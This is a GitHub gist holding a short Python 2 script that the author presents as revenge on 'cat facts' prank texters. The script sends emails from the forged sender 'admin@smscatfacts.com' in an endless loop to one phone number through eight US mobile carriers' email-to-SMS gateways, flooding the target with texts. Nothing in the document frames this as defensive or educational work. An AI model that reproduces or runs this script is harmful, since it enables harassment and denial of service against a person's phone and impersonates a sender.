Skip to content

Instantly share code, notes, and snippets.

@9b
Created February 14, 2012 20:45
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save 9b/1830234 to your computer and use it in GitHub Desktop.
Save 9b/1830234 to your computer and use it in GitHub Desktop.
Quick Payback to the cat facts idioits
import sys
import smtplib
import socket
from email.mime.text import MIMEText
def sendmail(user):
   sender = "admin@smscatfacts.com"
   recv = user
   subject = "Shave it up!"
   text = "Subscription activated!"
   msg = MIMEText(text)
   msg['subject'] = subject
   msg['From'] = sender
   msg['To'] = recv
   server = smtplib.SMTP("localhost")
   try:
       server.sendmail(sender, recv, msg.as_string())
       server.close()
   except smtplib.SMTPException as e:
       print >> sys.stderr, "Unable to send email. Error: %s" % e
count = 0
number = "##########"
while 1:
   sendmail(number + "@txt.att.net")
   sendmail(number + "@vtext.com")
   sendmail(number + "@myboostmobile.com")
   sendmail(number + "@messaging.nextel.com")
   sendmail(number + "@messaging.sprintpcs.com")
   sendmail(number + "@tmomail.net")
   sendmail(number + "@email.uscc.net")
   sendmail(number + "@vmobl.com")
   count = count + 1
   print "= " + str(count) + " batch sent to " + number
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment